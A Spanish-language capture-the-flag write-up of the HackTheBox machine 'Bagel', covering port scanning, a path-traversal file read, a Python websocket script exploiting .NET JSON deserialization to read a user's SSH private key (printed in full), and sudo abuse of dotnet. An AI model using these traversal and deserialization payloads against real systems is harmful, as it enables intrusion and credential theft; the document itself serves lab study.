Bagel es una máquina de dificultad media en HTB. Es una máquina con un LFI que nos permite saber los procesos del sistema, después obtendremos credenciales y abusaremos de un JSON Deserialization para poder acceder a la máquina. Saltaremos a un usuario gracias a las credenciales y por último abusaremos de dotnet para leer la flag.

Enumeración

Escaneo de puertos

Iniciamos la máquina realizando un escaneo general de puertos para intentar descubrir todos los abiertos y lo guardamos con un formato de fichero "Grepeable".

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.159.158 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-19 21:07 CETInitiating SYN Stealth Scan at 21:07
Scanning 10.129.159.158 [65535 ports]
Discovered open port 22/tcp on 10.129.159.158
Discovered open port 8000/tcp on 10.129.159.158
Discovered open port 5000/tcp on 10.129.159.158
Completed SYN Stealth Scan at 21:08, 16.82s elapsed (65535 total ports)
Nmap scan report for 10.129.159.158
Host is up, received user-set (0.055s latency).
Scanned at 2023-02-19 21:07:58 CET for 17s
Not shown: 64405 closed ports, 1127 filtered ports
Reason: 64405 resets and 1127 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
5000/tcp open  upnp     syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.01 seconds
           Raw packets sent: 83677 (3.682MB) | Rcvd: 70323 (2.813MB)

Hemos encontrado 3 puertos, que son el 22 que pertenece a SSH, el 5000 y el 8000 que seguramente sean puertos web.

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que muestre solo los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Le pasamos la utilidad extractPorts para copiar los puertos en la clipboard y así agilizar el escaneo posterior con nmap.

Aquí realizamos la enumeración de servicios y versiones. En efecto los puertos anteriormente mencionados pertenecen a servicios web.

# Nmap 7.80 scan initiated Sun Feb 19 21:22:07 2023 as: nmap -p22,5000,8000 -sCV -oN targeted 10.129.159.158
Nmap scan report for 10.129.159.158
Host is up (0.046s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Sun, 19 Feb 2023 20:21:37 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Sun, 19 Feb 2023 20:21:52 GMT
|     Connection: close
|   Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Sun, 19 Feb 2023 20:22:03 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Sun, 19 Feb 2023 20:21:37 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Sun, 19 Feb 2023 20:21:38 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Sun, 19 Feb 2023 20:21:32 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.htm

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 19 21:23:49 2023 -- 1 IP address (1 host up) scanned in 101.97 seconds

Esta misma información la podemos ver de una manera mejor representada con whatweb.

Como podemos ver tiene 2 puertos web, el 5000 y el 8000. El puerto 5000 nos da un estado de error 400 y el puerto 8000 nos redirige al dominio bagel.htb.

Ponemos la IP y el dominio en el /etc/hosts.

Visitamos la web del puerto 8000, ya que la web del 5000 nos da error.

Hacemos fuzzing para intentar descubrir más directorios pero en este caso sin éxito.

❯ wfuzz -c --hc=404 -t 200 -w /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt http://bagel.htb:8000/FUZZ
********************************************************    
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bagel.htb:8000/FUZZ                                                          
Total requests: 220560

=====================================================================   
ID           Response   Lines    Word       Chars       Payload                                                                                                                 
=====================================================================                                                        
000001584:   200        3 L      37 W       267 Ch      "orders"

Podemos ver algo que hay un parámetro page en la URL así que intentamos hacer un LFI del fichero passwd.

En efecto podemos hacer un LFI, nos guardamos el passwd y miramos qué usuarios tiene. Los usuarios que tenemos son root, como siempre y dos usuarios más; developer y phil.

Probamos a intentar obtener archivos interesantes sin éxito, como el id_rsa o algún archivo log. Probamos a hacer un fuzzing a los procesos activos del sistema mediante un pequeño one liner.

❯ for i in $(seq 900 1000); do curl 10.129.160.55:8000/?page=../../../../proc/$i/cmdline -o -; echo "  PID => $i"; done
File not found  PID => 900                                                                  
File not found  PID => 901                                                                  
File not found  PID => 902                                                                  
File not found  PID => 903                                                                  
File not found  PID => 904                                                                                                                                                              
/usr/sbin/chronyd-F2  PID => 905                                                            
File not found  PID => 906
File not found  PID => 907
File not found  PID => 908   
File not found  PID => 909   
File not found  PID => 910                                                                  
File not found  PID => 911                                                                  
File not found  PID => 912
/usr/sbin/irqbalance--foreground  PID => 913                                                
File not found  PID => 914
File not found  PID => 915                                                                  
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  PID => 916
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  PID => 917
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  PID => 918
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  PID => 919
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  PID => 920
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  PID => 921
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll  PID => 922

Encontramos unos procesos interesantes que apuntan a un archivo DLL. Nos los descargamos gracias al LFI para comprobar si es interesante.

Mediante dnSpy obtenemos una contraseña pertenece al usuario developer, pero al tratarse de una contraseña de base de datos, no nos podremos conectar por SSH.

Intrusión

JSON Deserialization

Creamos un pequeño script para que se conecte al puerto 5000 y le pasamos los datos tal y como se ven representado en el directorio orders.

#!/usr/bin/python3

import websocket,json

ws = websocket.WebSocket()
ws.connect("ws://10.129.159.166:5000/")
order = {"UserId": 1, "WriteOrder": "Prueba" ,"Test": "hola"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

Ejecutamos el script y vemos como el directorio de orders cambia por el valor que le hemos puesto en WriteOrder.

Cambiamos algunas cosas del script después de varios intentos sin que funcionase nada.

#!/usr/bin/python3

import websocket,json

ws = websocket.WebSocket()
ws.connect("ws://10.129.159.226:5000/")
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../../../home/phil/.ssh/id_rsa" }}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

Ejecutamos el script y hemos podido leer el id_rsa del usuario phil.

> python3 exploit.py
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "2:03:01",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

Mediante el id_rsa podremos acceder y leemos el user.txt.

![[ssh-access 1.png]]

Escalada de Privilegios

Si probamos de cambiarnos de usuario con las credenciales del DLL podremos acceder al usuario developer.

Como conocemos la contraseña del usuario developer miramos si tiene algún permiso especial y parece que puede ejecutar dotnet como si fuese root.

[developer@bagel shm]$ sudo -l  
Matching Defaults entries for developer on bagel:  
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",  
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin  

User developer may run the following commands on bagel:  
    (root) NOPASSWD: /usr/bin/dotnet

Abusando de dotnet

Con dotnet nos conectamos para poder obtener comandos de manera interactiva y como nos conectamos como root podemos leer la flag.

Leave a Reply

Your email address will not be published. Required fields are marked *